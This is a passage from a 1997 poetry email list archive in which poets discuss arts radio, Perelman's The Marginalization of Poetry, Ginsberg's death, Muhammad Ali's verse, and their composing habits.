There are still many wonderful individuals involved in public, and especially community, radio (we can't do without them & they deserve all the support we can give them), and isolated stations even outside of major markets can be quite good, but increasingly every non-mainstream interview or feature has to be justified, usually by tying it to a product or event.

Even with this kind of tie-in, this stuff is rarely distributed nationally and is almost never actually produced by NPR. The vast majority of adventurous programming available for stations via satellite is independently produced by folks who must rent satellite time from NPR for distribution, & then most stations don't broadcast it anyway.

How many people on this list heard LINEbreak, the radio series produced by Charles Bernstein & Martin Spinelli, on a radio station in their area? Martin, do you know how many stations aired the series? For thaat matter how many programs have been downloaded how many times from the EPC Web site?

Christina, it sounds like what you're doing is cool, but most of us don't have this range of radio options where we live.

I've really got to go finish up some other folks taxes now, talk to you later.

Bests,

Herb

> *Herb Levy wrote:*
>
> *When I hear a recording by someone I'm interested in on almost ANY radio station, NPR or otherwise, I assume that the artist has died, 'cause otherwise the work w0uldn't be on the air.*
>
> *I've been an evesdropper on this list for about 8 months or so, and I feel compelled to chime in and also to introduce myself... Herb Levy's comment touches close to home.*
>
> *When I finished up my undergraduate degree in English almost three years ago, I felt a big void in my education. I felt that I'd been introduced to work, poetry and fiction, representative of what is academically "embraced" and that the bulk of what I had studied for the past four years was not contemporary work. I am saying this even though I understand that a big goal of the curriculum in English depts. is to give students an historical grounding of literature. I would never trade in this education. But still, I questioned the relevance of what I'd been told to read. I felt that the contemporary work I'd become acquainted with through my classes was not "dangerous writing" and I felt that that the selection of work took on an academic cast because there was such a narrow selection of writers. Somehow when I looked at my bookshelf and the bookshelves of other English majors at other colleges, I saw the same books, books that were supposed to be on the bleeding edge of creative writing. How could we all be reading the same books? Could they really be that alternative or different or more importantly "contemporary," if most universities were teaching the same authors. I wondered how a silent consensus could have formed about who the important writers of today are. Isn't a canon of contemporary writers a contradiction. It would be easy for an aspiring writer or a reader who aspires to understand the tone of contemporary writing to just accept these people and look to them as the thematic (moral) and styllistic voice of our time. What's worse is to accept the opposite condition of this, that perhaps it's very difficult today to stumble upon a relevant writer who enjoys obscurity as a result of work that breaks so radically from what's taught in the university system, or worse still, that it's impossible because they don't exist.*
>
> *I felt estranged from what I'd just gotten a degree in. This bothered me enough that I decided I would produce and host a radio show about poetry, literary fiction and performance and fill in the gap. The format is open, but usually the guests read their work for the bulk of the program and the discussion is on the climate of creative writing and not on an analysis of the particular pieces they've just read. The best part for me is that good writers recommend good writers and are so excited to share them. Also coming across people with interesting work, but who don't have any*

> *immediate aspirations to publish, ie. closet writers. I feel as though I can now make the connection between what I've gotten academically with the diversity of what I've encountered. And I can now be thankful for the survey classes and Norton Anthology for giving me a body of work to relate it to.*
>
> *I've also made it a point to educate myself on what the media coverage for the arts is like. I'm in Los Angeles so I can only speak for Los Angeles. I think the climate has changed in the past few years and that arts and literary programs broadcasting to Los Angeles are breaking out of the after-midnight airtime ghetto. For the first year, I had an 11 PM to 2 AM weekly timeslot. Now I am on at 8 PM. At other public stations, we had Wanda Coleman at KPFK doing Poetry Connection also at 8 PM. KCRW out of Santa Monica College has Michael Silverblatt hosting Bookworm during the day! 2 PM. KCRW has also made the full broadcasts of his shows available for download at their website (www.kcrw.org) and the sound quality is fine.*
>
> *I think there is a growing public demand for arts programming and an awareness of the radio's and internet's potential to meet that. Part of this is due to independent publishing houses putting out spoken word releases and these getting into Virgin Megastore and the like. A small non-profit experimental audio group in New York called Tellus/Harvestworks which puts out recordings like those of Paul Bowles and John Cage and Shelley Hirsh is now at my local record store.*
>
> *The internet will certainly improve public access... it's convenient. I don't know how long this particular list has been around, but I sure would have welcomed it five years ago. A radio show, an e-mail list, streaming audio, they can do wonders.*
>
> *Christine*
>
> _____
> *christine palma*
> [redacted]
>
> *samples: high-bandwidth, communications, bpm, asia in the yr 2000, fractal structures, cu-seeme fuzzy, memory encapsulated, radio, a sculpture in every living room, a sculpture in every park, a sculpture in every body, cyborgs, e-mail, letterpress, return to drawing, kitchensink genetics, mindoro, coincidence, encaustic, pedestrian's rights, sleep depriviation high, the moon . . .*

Herb Levy
[redacted]

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431. Mark Wallace
Is anybody still discussing Bob Perelman
Tue 15 Apr 1997

Susan Schultz' take in the new WITZ on Bob Perelman's MARGINALIZATION OF POETRY led me back to that text again with some questions I'm still trying to figure out. On the one hand, can someone explain to me where exactly Bob, in distinguishing Charles Bernstein as "envisioning a group of textual enclaves as standing in for politics" and Kamau Braithwaite as creating a poetry leading to the possibility of new alternative "nations," obviously priveleges Braithwaite's project over Bernstein's? I keep looking for that but am not seeing it--can someone point me to what I'm missing? Is it in the idea that Bernstein's attempt to refigure language intends to function on an "anarchic" level that can't (according to Perelman) reach outside the academic context, whereas Braithwaite's is seeking a more broad-based constituency? I would disagree with that reading if Bob is making it, but I can't quite find the sentence where he directly states that this IS his argument.

Actually, one problem I do feel like I'm having with THE MARGINALIZATION OF POETRY is the way in which Bob seems to be reducing the various purposes of the poetry of Bernstein, Braithwaite AND Andrews to their function SOLELY as ideological critique--he seems, at times, to be arguing that there's NO element of their poetry not focused on offering ideological critique. He seems to be reducing the variety of this work to various means of "storming the capitol." Furthermore, am I right in thinking that he comes dangerously close to seeing the work of these writers as having a SINGULAR CENTER--Bernstein wants "textual anarchy," Braithwaite wants "alternative nation states," and all of Andrews' work is a complete assault on any possibility of identity? Interesting on this subject is Jeffrey Nealon's DOUBLE READING: POSTMODERNISM AFTER DECONSTRUCTION. Nealon takes a number of academic critics to task (George Hartley among others) for not reading the POETRY of language poetry (in all its potential multiplicity, ambiguity, and contradiction) but instead trying to reduce all the poets involved to a single cultural critique which they are all engaged in. Curious then (if my reading here is even partly correct) that Bob, who is a poet also, should seem at least in part to be engaging in this same kind of reduction (language poetry is simply MAKING A SERIES OF POINTS about social reality, POINTS WHICH CAN THEN BE EVALUATED ON WHETHER THEY ADD UP TO A SINGULAR CORRECTNESS.

Susan Schultz' essay is interesting also for noting that Perelman lumps a number of women poets associated with language poetry into the same chapter; Schultz sees Perelman being more sympathetic to their practice on the one hand, while possibily ghettoizing it (and certainly keeping it something of a side issue) at the same time, and she asks for the motivation for that placing.

So, my questions are these: are there places where Perelman is not as singularly judgemental (Braithwaite over Bernstein) as he seems? Or is the heart of the book an attempt to reduce the variability of poetic practice to a singular, centered ideological critique, and to see its various subjects as falling short because they finally have a limited singular center? But what if they were not intending to have such a center? What if poetry is not ONLY ideological critique by other means?

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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432. Tom Mandel

float/sting

Tue 15 Apr 1997

"float like a butterfly
sting like a bee"

was spoken by one of Muhammed's cornermen, not by him. I can't believe I'm forgetting the guy's name (like forgetting what is in one panel of a favorite stained glass emblazoned on brain); I'll probably wake up with it at 2am....

was it Bundini Brown?

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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433. Tom Mandel
dale and daniel
Tue 15 Apr 1997

Dale Smith and Daniel Bouchard -- I think you two are being irritated not by each other but by inherent limits in how email transfers context of meaning and intention, i.e. not very well. Perhaps a brief phone call?

not meaning to meddle, but I've had enough evidence of intelligence and good intention on both your parts to want to get the pebble out of your shoes.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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434. Douglas Barbour
Re: Imaginary Interview Question
Tue 15 Apr 1997

Gee, I'd have to agree with William Burmeister, who seems dead on for me:

"I suppose there may be, but for many, I can imagine that not beginning a new poem until the poem at hand is finished would mean that far fewer poems get written, and perhaps that the spontaneous creation process would be frustrated. Of course, this begs the question of when a poem is actually "finished."

Bill B"

Also, what Don Cheney said about loss of leisure time. So I write as mucha s I can of a poem at a time, but also find larger series are begun & then I may or may not keep at them in tandem, & at whatever times

========== Douglas Barbour
the precision of openness Department of English is not a vagueness

University of Alberta it is an accumulation Edmonton Alberta T6G 2E5 cumulous [redacted] FAX:[redacted] bpNichol H: [redacted]

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435. David Bromige
The is-anybody-still-discussing thread
Tue 15 Apr 1997

Given civilization, artists embody its discontents. Since many institutions find their stability and perpetuation in suppressing the news of discontents, there are bound to be conflicts between artists and insitutions, even where those institutions are largely made up of artists or of those who would facilitate art. While I'm sweeping generalizations around,I'll add that art has a shock to it, but that by the time that comes to be a "shock va l u e ," we pass from nakedness to The Nude, and eventually, Dada rests in the Museum, whose calm framing does a lot to tranquilize shock. I don't like to sound aloof, but I doubt that there's a whole lot to be done to alter this dynamic, even in a more liberal, open society than we'll likely see again in my lifetime. Perspective is always the joker, and poets who work within institutions frequently are nominated to help out with further institutions, where they learn the value (a real value!) of compromise, and the way of life this can become must place their art-selves in considerable jeopardy. Its easier to kid yourself, harder to find the foul rag-&-bone yard--or blissful indifference--of the heart of the matter of human being. There might be more, a lot more, to say on this topic, but on a busy list, it's best, I feel, to keep ostings fairly brief. db

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436. bertram mourits
the poetry of Muhammad Ali
Tue 15 Apr 1997

md requested:

> *the newscasters kept*
> *reading a poem clay had written for the occasion and i adored it. can*
> *anybody post that poem here?*

I'm not sure I got the right thing, but this was published in the Dutch literary journal Randstad in 1964:

It all started twenty years past
The greatest of them all was born at last
The very first words from his Lousville lips,
'I'm as pretty as a picture and there's no one I can't whip.'
Then he said in a voice that sounded rough,
'Im as strong as an ox and twice as tough.'
The name of this champ, I might as well say,

No other than the greatest, Cassius Clay.
He predicts the round in which he's gonna win
And that's the way his career has been.
He knocks them all out in the round he'll call,
And that's why he's called the greatest of them all.

[redacted]

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437. **bruja**
Re: poem... (fwd)
Tue 15 Apr 1997

I will paint a mural of a thousand
birds, wings intertwining, fighting
for flight,
two pecking feathers,
two carrying thread,
sleeping against wind, melting to ground
with wax dripping grace, landing
waterside
and heart side,
tear like eyes open, pulled,
never forward,
dripping paint my brush will scatter nests,
eggs will damage,
lie horizontal on ground not earth, ?
I will scatter to sky
my mural,
like ashes fall secretly
on window sills
ha!
not even that will remain.

-joanna

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438. **Joe Safdie**
Re: Imaginary Interview Question
Tue 15 Apr 1997

On Mon, 14 Apr 1997, Jordan Davis wrote:

> Q: Do you work on one poem at a time, or do you work on several at once?
> Or do you just write, and make poems from the writing later? I suppose
> this will seem naive, but I wonder if there are poets who do not begin
> work on a new poem until they have finished the poem at hand --
>
What a nice query! I've been writing in series for so long that I don't
know anymore what an individual or occasional poem looks like -- this has
been going on for almost eight years now -- the demands of the sequence
dictate what comes next, so I could be (and am) working on three or more
at once -- plus constant journal scribbling, which more often than not
yields the raw material . . .

Lovely to talk about the how, as well as the what . . .

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439. **Eliza McGrand- CVA Guest**
Re: Imaginary Interview Question
Tue 15 Apr 1997

---

i warm up, often, by editing/revising a poem in progress, and then start
working out a new poem once i'm limber. always have a number of poems in
revision.
e
ps
if i waited till i'd finished poem at hand i'd never finish anything... i
typically revise something around 35 to 60 times (i.e. re-read and look for
/at problem spots, change/shift, move around, reword)

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440. **Hoa Nguyen**
Re: Will's column/ Daniel Bouchard
Tue 15 Apr 1997

(Sorry if I have posted this twice--I can't tell--- my service is a bit slow)

Dear Daniel Bouchard:

It seems to me that this message was/is meant to intimidate anyone who may comment or critique on this list, especially if you understand them to be differing from your point of view or responding to something you said.

Mocking someone's name? (see below) I do not think that Dale was "obvious[ly] impressed by George Will". (see below).

Will you mock my name? Will you write that I am defending George Will? Do you really want a debate or for everyone to go along with you? (These are real questions.)

Hoa Nguyen

>Date: Fri, 11 Apr 1997 17:21:28 -0400
>From: Daniel Bouchard <[redacted]>
>Subject: Re: Will's column
>To: [redacted]
>
>"America, go fuck yourself with your atom bomb."
> --Allen Ginsberg (1926-1997)
>
>"America, I'm not sorry."
> --same guy
>
>
>Dales,
>
>I'm not sorry if you think my "fuck George F. Will"
>is "stupid and irresponsible."
>
>I'm not sorry if you think my "fuck George F. Will"
>"confirms his belief in the poverty of cultural values today."
>
>If he could define them, and if I could take the time to read them, I'm
>sure I could have a grand time mocking them for the amusement of the
Poetics list.

> *If you think my "fuck George F. Will" is an act of cowardice because it was "behind his back" let me assure that I would love to have the opportunity >to meet the man and enjoy a real conversation, in which I may or may not >use the oh-so-shocking "F" word, depending on the amount of sneering >condescension he emits.*
>
> *You are obviously impressed with George F. Will's authority to the extent that in a worthless diatribe in which he shits on a man's life work you find "scant points . . . which seemed appropriate." Which points were they Dales? The ones that implicate all writers and activists in "cultural*

> *and >economic market practices." Are you taking a correspondence course with George F. Will?*

You said, "his death is the occasion for such moments as these and I think
>as much meaning should be milked from debate rather than saturating
>ourselves only with warm platitudes."
>
>Yes, let's debate and milk (milk?) the moment and we may learn something
>from one another, but don't begin by telling ME to settle down and be
>reasonable because it only makes me more angry.
>
>
>[redacted]
>>
>
>
>
>----------
>Get Your *Web-Based* Free Email at http://www.hotmail.com
>----------
>
>
>
>

Get Your *Web-Based* Free Email at http://www.hotmail.com

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441. Jordan Davis
hello poetics wake up!
Tue 15 Apr 1997

test

PS Friday April 18 at 7 pm Brian Kim Stefans (ed. Arras) and Loren Goodman (contains sulfites) read their poetry at

POETRY CITY

which is in the offices of Teachers & Writers Collaborative, 5 Union Sq W, 7th floor, NYC.

end of test

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442. Rachel Kubie
Knott/AG
Tue 15 Apr 1997

Linda Russo--

re that Bill Knott seeming to "connect" somehow. Grudgingly returned his Niomi poems to the library a few days ago so I can't quote directly but his "To American Poets" was in front of me with AG's death in the news--something like:

"your name will be an open secret"

(and)

"everywhere we will be finishing the poems you broke away from"

RK

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443. David Bromige
If this is still under discussion . . .
Tue 15 Apr 1997

Yes, Joe, I think you're misreading me.

[under these conditions] ...CONSIDERABLE jeopardy.
....It's easiER to kid yourself
....It's hardER to find....

This is not "a statement of futility, of one's art inevitably coming to nothing, of tragic (even) melancholy."

I think your next sentence, "How are you feeling today?" Is ad hominem.

Do I feel I've done this? What, arrived at conclusions you impute to me, that are not supported by the actual words I used?

I fail to see the parallel between my posting and Jim Carroll's delightful rock lyrics. There is no guitar strumming in my observations.

Jack Spicer said, and unfortunately my disorderly record-keeping allows only my paraphrase (and we see how tricky they can be), "the more you know as a poet, the more furniture there is in the room, the harder it is to get in and out of it." I only testify from my observations of many careers, that have institiutionalized themselves with their success. I had never considered that my own answered to this category. Obviously, "its all relative." But what powers I have, are my own--there's no leg up I could give anybody, except to blurb their book.

Tragic? How about Beckett's "I cant go on. I'll go on." That makes more sense to me. Tragic is compromised with posturings.

Hope this clarifies. db

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444. Thomas Bell
Re: ginsberg and snyder
Tue 15 Apr 1997

"When?" is the question. At two different times or in a different dimension.
tom
At 10:31 PM 4/13/97 -0700, George Bowering wrote:
>>Does using adjacent urinals in two different states
>
>Where is that possible?
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

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445. Alan Jen Sondheim
Re: Imaginary Interview Question
Tue 15 Apr 1997

I do one at a time and finish it at the same time or scrap it so it's like breathing theory. Then it's gone. There's no work in it.

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/index.html TELEPHONE [redacted] IMAGES:

http://www.cs.unca.edu/~davidson/pix/ CUSEEME 166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, USA, 11217 Editor, BEING ON LINE

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446. **Charles Alexander**
Re: Imaginary Interview Question
Tue 15 Apr 1997

At 09:12 AM 4/15/97 +0000, you wrote:
>Jordan Davis wrote:
>>
>> Q: Do you work on one poem at a time, or do you work on several at once?
>> Or do you just write, and make poems from the writing later? I suppose
>> this will seem naive, but I wonder if there are poets who do not begin
>> work on a new poem until they have finished the poem at hand --

Usually several at once, but sometimes can get going on one which takes virtually all the attention for weeks at a time. Most often for the last 6 years each of the "several" is a fairly long work, in sections or not, and sometimes there's going back and forth within a work. And then someone will ask for something, and there may be looking through new and old work, and working on something again. If that someone asking is a choreographer or video artist, perhaps there will be some attention put to the particular use and collaboration involved, and perhaps something entirely new will begin, amid the others already going on. And sometimes there will be a time when all will cease for a few weeks -- not a block of any kind, more of a respite, perhaps, or perhaps more attention to making books or reading or some other act which usually doesn't seem that separate from the poems. And often books seem to take shape almost from the first conception of a work, but not always does such a book finally come together. And that brings about the question of how/when a work "ends," which is another discussion entirely.

charles

charles alexander / chax press / [redacted]

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447. **Charles Alexander**
Re: float/sting
Tue 15 Apr 1997

At 09:27 AM 4/15/97 -0500, you wrote:
>"float like a butterfly
>sting like a bee"

>
>was spoken by one of Muhammed's cornermen, not by him. I can't
>believe I'm forgetting the guy's name (like forgetting what is
>in one panel of a favorite stained glass emblazoned on brain);
>I'll probably wake up with it at 2am....
>
>was it Bundini Brown?
>
>Tom

Yes, Bundini Brown

And, perhaps later, the song which I've heard played on AM radio as recently as a couple of years ago

Muhammad
Muhammad Ali
float like a butterfly
sting like a bee

Muhammad
a black superman
who calls to the other guy
I'm A-a-li --
catch me if you can

That's all the lyrics I can remember -- are there more?

charles

charles alexander / chax press / [redacted]

↑ Index

448. **Steven Marks**
Re: Imaginary Interview Question
Wed 16 Apr 1997

> *Q: Do you work on one poem at a time, or do you work on several at once? Or do you just write, and make poems from the writing later? I suppose this will seem naive, but I wonder if there are poets who do not begin work on a new poem until they have finished the poem at hand*
> -- >

Many at a time, plus reviews and essays and journal entries. Poems come out in spurts. And when the spring dries up, I move on to another poem. Almost all of my poems, however, first begin as prose. I notice that a couple of others write this way and I think I remember that this is the way that Yeats wrote. I find that

this is the best way to get down what I want to say; almost as if I'm writing a letter to myself to be read at some point in the future. Having that frame to work in keeps me to the task far better than setting out to write a poem from scratch, so to speak. Strangely, or perhaps not, the prose-to-poetry method results in far less stilted form and language. I can follow the first-choice, best-choice path with no obscuring of the trail from rewriting. At least for me, this is what happens. What about others who write from a prose frame?

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

449. **michael corbin**
Re: History is Rewritten
Wed 16 Apr 1997

Mark Weiss wrote:
>
> While perhaps memoir-as-genre has blurred into the cliche
> >excesses of an unrequited romance with a unitary subjectivity...
>
> Is this translatable into English?

Why yes, indeed. However translation is so, shall we say, unstable. Therefore, following da Vinci in the Codex Leicester and elsewhere, I have produced a more adequate method of rendering translation from the original in this text. That is, hold the text to the mirror, cover your left eye to occlude the perception of depth and then, counter-intuitively, read only one letter at a time and all will be made clear.

> *Speaking of translations:*
>
> *Of course they speak in different*
> *tongues. But tongues perhaps scrawled on the same rosetta stone.*
>
> *Some weird Egyptian stuff. Too kinky for me.*

Latex is available for those with untranslatable safety concerns. Further, beyond its prophylactic benefits it has possibilities all its own for new philological exploration. Kink, as always, is optional.

mc

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450. Maria Damon (Maria Damon)
Re: float/sting
Wed 16 Apr 1997

At 2:06 PM 4/16/97, Hugh Steinberg wrote:
>With all these postings on Ali, I wonder if anyone has published a book of
>his collected works? It'd be a kick to read.
>
>Hugh Steinberg

yes indeed; does anyone know of such a volume?--md

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451. Stephen Vincent
Re: float/sting
Wed 16 Apr 1997

Charles Alexander quoting Tom Mandel posted:

> *"float like a butterfly*
> *sting like a bee"*
>
> *was spoken by one of Muhammed's cornermen, not by him. I can't*
> *believe I'm forgetting the guy's name (like forgetting what is*
> *in one panel of a favorite stained glass emblazoned on brain);*
> *I'll probably wake up with it at 2am....*
>
> *was it Bundini Brown?*
>
> *Tom*
>
> *Yes, Bundini Brown*

>And, perhaps later, the song which I've heard played on AM >radio as
recently as a couple of years ago

"Muhammad
Muhammad Ali
float like a butterfly
sting like a bee

Muhammad
a black superman
who calls to the other guy

I'm A-a-li --
catch me if you can"

Charles, are you referring to a more contemporary song that appropriates from the Budini Brown heraldry(!?). And was the Brown piece put up while Ali was still Cassius Clay? If so, the "Ali" in the more recent song wd be an example of history re-writ. Tom M., indeed, referred to the song in the time of "Muhammed" rather than time of "Clay". I somehow think of the butterfly/bee combination as part of the Casius moment - before the religious change. Except in its awe of the power of language, within its youthful boast, it's a rhyme that shows little sign of any need for religio-humility. I remember being knocked out by it - in the middle of incredible upheaval, it was so fresh, stood up and cut right thru everything. And then just hung there -- gem like -- in the air.

I guess one of us shd go out and find 'the book' with the real facts.

Cheers,
Stephen Vincent

↑ Index

452. **Hugh Steinberg**
Re: Imaginary Interview Question
Wed 16 Apr 1997

> *Q: Do you work on one poem at a time, or do you work on several at once? Or do you just write, and make poems from the writing later? I suppose this will seem naive, but I wonder if there are poets who do not begin work on a new poem until they have finished the poem at hand --*

All three. Am currently writing daily ten line poems (sit down, crank it out, one or two spot revisions, then move on to the next one). Also am constantly tinkering with older stuff, usually after I get 'em back with rejection slips attached. I also bring a journal to readings and write while people read, a combination of what I hear and what I'm thinking (similar to what Mac Low does). Chopped, spindled and spliced, this becomes source material for the rest of my poems.

Hugh Steinberg

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453. **MAXINE CHERNOFF**
Re: Ginsberg the Rock Star
Wed 16 Apr 1997

Bob : How nice to have insomnia (3 am), wake up, and find myself addressed on our list. Of course, one can arrive at the existence of Allen G by many paths and never to have arrived is worse. But it is simply the case that context does

limit one's initial understanding of a person or thing and that the medium by which one discovers a writer, televison included, can limit or "flatten" one's sense of the whole. An interested viewer could replay a video of AG again and again, but sitting with his work in book form and reading it is another experience, I'd venture. Reading allows for a fuller initiation pehaps?

Maxine Chernoff

On Mon, 14 Apr 1997 [redacted] wrote:

> *<<So no wonder that when they arrive in college, they are maybe aware of Allen G as MTV celeb instead of fine poet and political activist. My solution at home: tell my kids about alternate history, take them to events that proliferate the truth about American political policy, etc.>>*
>
> *Excuse me, Maxine? Are you suggesting better for kids never to have heard of Allen at all then to have seen the video of "The Ballad of the Skeletons" on MTV?*
>
> *I love to hear from the kids who found their way to Allen's because of that exposure. It does happen!*
>
> *Cheers,*
>
> *Bob Ho*

↑ Index

454. **Charles Alexander**

Re: float/sting

Wed 16 Apr 1997

> *Charles, are you referring to a more contemporary song that appropriates from the Budini Brown heraldry(!?). And was the Brown piece put up while Ali was still Cassius Clay? If so, the "Ali" in the more recent song wd be an example of history re-writ. Tom M., indeed, referred to the song in the time of "Muhammed" rather than time of "Clay".*

Yes, I guess I am, and a pretty bad song at that. I have no idea when the song came out. But it certainly must be history re-writ.

charles

charles alexander / chax press / [redacted]

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455. **Dale Smith**

Re: George Wills and the Imago of Alan Ginsbuerg in Victorian England: The Opera

Wed 16 Apr 1997

Matthias Regan-

I simply meant to imply that in certain ways today our social milieu shares many traits with those of Victorian England. The most obvious is the pervasive social usage of "niceness" as a way to avoid critical dialogue. Although the surface is pleasant-"that was a nice poem, a nice reading, a nice (fill in the blank)-hidden hostilities remain directly unspoken. The Middle English usage of the word-'foolish'-descended from prior French and Latin cognates meaning 'ignorant' or 'not knowing.' It's interesting to hear 'nice' so over-used in today's contexts.

Also, while today's climate feels more open in certain respects than in the past, we still live in a market economy narrowly defined by a monopoly of political, social, and cultural interests.

I feel I'm not being specific enough, however, within this space of e-mail comminication. What I've written is too general and I haven't connected to anything concrete. My point in writing the post you quote was to learn what disasters had been spared by 'media revolutionaries.' I was addressing Piombino's vague statement with my own. I'd be happy to backchannel re: this issue, if you'd like. I don't think it's worth wasting much space. I had Raymond Williams' The Country and The City in mind when I posted.

> *What disasters have been spared? The social, political, and aesthetic reality of this country today resembles Victorian England more than ever.*
>
> > *This seems like a strange thing to say. What do you have in mind?*
>
> *Matthias Regan*
> *Northwestern University*
> *Department of Chemistry*
> *Phone: 847/*[redacted]

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456. **Michael Boughn**

Re: History is Rewritten

Wed 16 Apr 1997

> *i think what i was responding to was the desire for a more polyphonic political discourse: more channels more choices more alternatives. the aspect this thread straggled from was wills dissing ag and the desire for*

> *some r e s p e c t (to the tune please) for those willfully purged alternatives that ag might represent. mb you are quite right: but cant i hope that political and cultural opposition be granted its token role in a dialogic community?*

Of course, Jeffrey, you can have all the utopian dreams you want. I was just objecting to a certain "what's wrong with young people these days, they don't know anything about the IWW or whatever" thread that crept into this exchange.

Power to the people,
Mike
[redacted]

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457. Henry Gould
Re: Imaginary Interview Question
Wed 16 Apr 1997

Interesting how many people write many things at once (although even more interesting all the side comments on composition). It still comes down to one at a time for me, until it's finished (although often come back later & use the needle pliers). Why just one at a time? I can think of 2 reasons: 1st, a poem seems like an "event" to me - like an occasion or an experience. 2nd as Isaiah Berlin pointed out, everyone's either a fox or a hedgehog. & I'm a conehead. & that "one" may be just one poem, or a series that takes months & has me writing in the other room at 3 am. or other uncomfortable situations.

- Gould

"we write to keep the tsetse flies off the ox"
- Jack Spandrift

"writing? Isn't that something we did in public school?"
- Eric Blarnes

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458. Maria Damon
Re: advert
Wed 16 Apr 1997

---

yo, can any of you brits help me out w/ something? apparently there was a superb documentary on lenny bruce on britain's radio 3 last march or feb. i need it!! how can i go about getting atape or a transcript? bests, maria d

At 7:38 AM -0400 4/15/97, Mainstream wrote:
>RWC announces the reprint of RWC 35 / Ken Edwards - BRUISED

RATIONALS. Two
>pounds and fifty pence payable sterling to Lawrence Upton. Price includes
>postage. Send to 32 Downside Rd, Sutton, Surrey SM2 5HP. Overseas rates
>available on request.

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459. **Maria Damon**
Re: float/sting
Wed 16 Apr 1997

---

still no clear answers on the clay/liston fight poem. here's another quiz (i desperately need the answer to): what's that line that goes "imaginary somethings with real something in them" i think the word "toadstools" is in there somewhere. md

At 9:27 AM -0500 4/15/97, Tom Mandel wrote:
>"float like a butterfly
>sting like a bee"
>
>was spoken by one of Muhammed's cornermen, not by him. I can't
>believe I'm forgetting the guy's name (like forgetting what is
>in one panel of a favorite stained glass emblazoned on brain);
>I'll probably wake up with it at 2am....
>
>was it Bundini Brown?
>
>Tom
>
>
>
>Tom Mandel [redacted]
>**********
>Screen Porch * http://screenporch.com
>4031 University Dr. Suite 200 * vox: [redacted]
>Fairfax, VA 22030-3409 * fax: [redacted]
>**********
> Join the Caucus Conversation

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460. **Maria Damon**
Re: float/sting
Wed 16 Apr 1997

cool, daniel z: what would you like: a copy of my gertrude stein article, a copy of my book, or a copy of the new journal CrossCultural Poetix?

At 8:52 AM -0700 4/16/97, Daniel Zimmerman wrote:
>Maria Damon wrote:
>>
>> still no clear answers on the clay/liston fight poem. here's another quiz
>> (i desperately need the answer to): what's that line that goes "imaginary
>> somethings with real something in them" i think the word "toadstools" is in
>> there somewhere.
>> md
>>
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>> >"float like a butterfly
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>> >
>> >
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>> >4031 University Dr. Suite 200 * vox: [redacted]
>> >Fairfax, VA 22030-3409 * fax: [redacted]
>> >**********
>> > Join the Caucus ConversationMaria,
> That's "imaginary gardens with real toads in them"
>--from Marianne Moore's "Poetry" [the one that begins "I, too, dislike
>it"].
>--Dan Zimmerman

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461. KENT JOHNSON
The New Party
Wed 16 Apr 1997

Speaking of Howard Zinn, does anyone know anything about the New Party? I saw an ad a couple weeks back where Zinn is listed as a "member" along with Noam Chomsky, Cornel West, Barbara Ehrenreich, Jim Hightower, and other prominent others. I've also seen the NP championed by Alexander Cockburn in the Nation, talking about them winning a few dozen local elections around the-country in the past couple years or so.

What's the history? How does this group differ, say, from the new Labor Party founded in Philly, or "Nader's" Green party? What would be the sticking points to overcome before a possible electoral alliance, for example? (Nader got half a million in only 26 states, so such unity might have eventual ground-breaking results?) Ten years ago I could draw a fractal family tree of every little left splinter group in the country since James Cannon marched out of the CPUSA politburo singing the Internationale. Now I don't even know where this glitzy and well-appointed New Party came from. A DSA leap into third party politics?

I feel left out and don't want the revolution to start without me.

Info Ron Silliman? Mark Presjnar? Curious,

Kent

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462. Mark Prejsnar
Re: Is anybody still discussing Bob Perelman
Wed 16 Apr 1997

Mark Wallace--

I haven't seen Susan's piece yet. Perelman's book on the other hand was very interesting and useful to me. He may respond himself here...But it seems to me the Marg. of Poetry is not reductive with regard to any given poet's work. It suggests tentative areas of engagement and characterization. I think Perelman's wish to get at a certain audience and a certain niche, which involves carefully articulated academic-sounding anayses, may be mistaken for brusque pigeon-holing. To my ear that is not what's going on. I also feel that as a public figure at the head of "LangPo, the historical phenomenon" he is determined to show plenty of skepticism about its claims, where they are weak or incomplete--thus the emphasis on the limits of certain poets.

However, I agree with the passage I've retained below. There is a tendency sometimes (in BP's Marginalization and among other folks) to assume that a

focused cultural and political agenda is the REASON for a poet doing her particular work. I had some great backchannel exchanges with Joe Safdie which involved (as I see it) this problematic assumption. This crops up in a somewhat different form in Golding's brilliant From Outlaw to Classic (which I strongly recommend, and which I only heard of 'cause he's on this list and mentioned it in passing)--There he sometimes suggests that "avant-garde" poetry will lose it's reason for being if it becomes too accepted institutionally, if it has no "center" or maybe no right-wing, to respond against. This seems to be to be putting the pegasus before the cart...Vital poetry is made (like vital painting, dance or music) for its own fervid intensity as human activity, involving a particular physical medium. It isn't primarily a form of insurgency against the current cultural hegemonies. A given poet (;like many on this list) may be compelled, because of historical junctures, to be in opposition to those who hold institutional power in the poetry world...But that isn't why most of us write. Likewise (it is a different point, but they **are** parallel) most radical poets are not trying exclusively to power social change thru verse; many different calculations go into our choices, and while all are implicated in politics, few are reducible to it. As a long-time socialist activist and a poet, I feel each engagement must be allowed its own set of rooms, its own problematic shape.

Mark P.
Atlanta

On Tue, 15 Apr 1997, Mark Wallace wrote:

> *Actually, one problem I do feel like I'm having with THE MARGINALIZATION OF POETRY is the way in which Bob seems to be reducing the various purposes of the poetry of Bernstein, Braithwaite AND Andrews to their function SOLELY as ideological critique--he seems, at times, to be arguing that there's NO element of their poetry not focused on offering ideological critique. He seems to be reducing the variety of this work to various means of "storming the capitol."*

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463. **amato**
Re: Is anybody still discussing Bob Perelman
Wed 16 Apr 1997

mark, in partial reply to your well-put questions: pp. 93-4, _the marginalization of poetry_:

